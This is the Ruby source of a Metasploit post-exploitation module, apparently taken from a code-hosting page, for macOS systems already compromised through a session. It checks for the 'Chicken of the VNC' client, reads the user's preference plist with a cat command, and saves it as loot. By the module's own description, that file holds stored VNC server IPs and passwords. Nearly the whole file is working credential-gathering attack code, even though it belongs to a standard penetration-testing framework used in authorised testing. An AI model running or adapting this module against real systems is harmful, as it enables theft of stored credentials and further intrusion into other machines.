Path: blob/master/modules/post/osx/gather/enum_chicken_vnc_profile.rb
19639 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'OS X Gather Chicken of the VNC Profile',13'Description' => %q{14This module will download the "Chicken of the VNC" client application's15profile file, which is used to store other VNC servers' information such16as the IP and password.17},18'License' => MSF_LICENSE,19'Author' => [ 'sinn3r'],20'Platform' => [ 'osx' ],21'SessionTypes' => [ 'meterpreter', 'shell' ],22'Notes' => {23'Stability' => [CRASH_SAFE],24'SideEffects' => [],25'Reliability' => []26}27)28)29end3031def whoami32exec('/usr/bin/whoami')33end3435#36# This is just a wrapper for cmd_exec(), except it chomp() the output,37# and retry under certain conditions.38#39def exec(cmd)40tries = 041begin42cmd_exec(cmd).chomp43rescue ::Timeout::Error => e44tries += 145if tries < 346vprint_error("#{@peer} - #{e.message} - retrying...")47retry48end49rescue EOFError => e50tries += 151if tries < 352vprint_error("#{@peer} - #{e.message} - retrying...")53retry54end55end56end5758def dir(path)59subdirs = exec("ls -l #{path}")60return [] if subdirs =~ /No such file or directory/6162items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d:]+\x20(.+)$/).flatten63return items64end6566def locate_chicken67dir('/Applications/').each do |folder|68return true if folder.match(/Chicken of the VNC\.app/)69end7071return false72end7374def get_profile_plist(user)75f = exec("cat /Users/#{user}/Library/Preferences/com.geekspiff.chickenofthevnc.plist")7677if f =~ /No such file or directory/78return nil79end8081f82end8384def save(file)85p = store_loot(86'chickenvnc.profile',87'bin',88session,89file,90'com.geekspiff.chickenofthevnc.plist'91)9293print_good("#{@peer} - plist saved in #{p}")94end9596def run97@peer = "#{session.session_host}:#{session.session_port}"98user = whoami99100if !locate_chicken101print_error("#{@peer} - Chicken of the VNC is not installed")102return103end104105print_status("#{@peer} - Chicken of the VNC found")106107plist = get_profile_plist(user)108if plist.nil?109print_error('No profile plist found')110elsif !plist.nil?111save(plist)112end113end114end115116117